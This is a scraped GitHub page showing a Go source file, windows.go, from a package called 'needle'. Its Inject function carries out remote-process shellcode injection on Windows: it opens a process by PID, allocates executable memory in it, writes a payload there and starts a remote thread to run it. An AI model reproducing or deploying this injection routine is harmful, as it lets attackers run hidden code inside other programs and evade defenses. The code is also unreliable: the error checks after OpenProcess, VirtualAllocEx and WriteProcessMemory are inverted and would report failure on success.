-
Notifications
You must be signed in to change notification settings - Fork 6
/
windows.go
81 lines (72 loc) · 2.24 KB
/
windows.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
// +build windows
package needle
import (
"errors"
"fmt"
"syscall"
"unsafe"
)
const (
PROCESS_CREATE_THREAD = 0x0002
PROCESS_QUERY_INFORMATION = 0x0400
PROCESS_VM_OPERATION = 0x0008
PROCESS_VM_WRITE = 0x0020
PROCESS_VM_READ = 0x0010
MEM_RESERVE = 0x2000
MEM_COMMIT = 0x1000
PAGE_EXECUTE_READWRITE = 0x40
PROCESS_ALL_ACCESS = 0x1F0FFF
)
func Inject(pid int, payload []byte) error {
kernel, err := syscall.LoadDLL("kernel32.dll")
if err != nil {
return fmt.Errorf("err loading kernel32.dll -> %s", err)
}
openProc, err := kernel.FindProc("OpenProcess")
if err != nil {
return fmt.Errorf("err locating OpenProcess -> %s", err)
}
writeProc, err := kernel.FindProc("WriteProcessMemory")
if err != nil {
return fmt.Errorf("err locating WriteProcessMemory -> %s", err)
}
allocExMem, err := kernel.FindProc("VirtualAllocEx")
if err != nil {
return fmt.Errorf("err locating VirtualAllocEx -> %s", err)
}
createThread, err := kernel.FindProc("CreateRemoteThread")
if err != nil {
return fmt.Errorf("err locating CreateRemoteThread -> %s", err)
}
// open remote process
remoteProc, _, err := openProc.Call(
PROCESS_CREATE_THREAD|PROCESS_QUERY_INFORMATION|PROCESS_VM_OPERATION|PROCESS_VM_WRITE|PROCESS_VM_READ,
uintptr(0),
uintptr(int(pid)),
)
if remoteProc != 0 {
return fmt.Errorf("OpenProcess err -> %s", err)
}
// allocate memory in remote process
remoteMem, _, err := allocExMem.Call(
remoteProc, uintptr(0), uintptr(len(payload)), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE,
)
if remoteMem != 0 {
return fmt.Errorf("VirtualAllocEx err -> %s", err)
}
// write shellcode to the allocated memory within the remote process
writeProcRetVal, _, err := writeProc.Call(
remoteProc, remoteMem, uintptr(unsafe.Pointer(&payload[0])), uintptr(len(payload)), uintptr(0),
)
if writeProcRetVal != 0 {
return fmt.Errorf("WriteProcessMemory err -> %s", err)
}
// call new thread on payload
status, _, _ := createThread.Call(
remoteProc, uintptr(0), 0, remoteMem, uintptr(0), 0, uintptr(0),
)
if status == 0 {
return errors.New("could not inject into given process")
}
return nil
}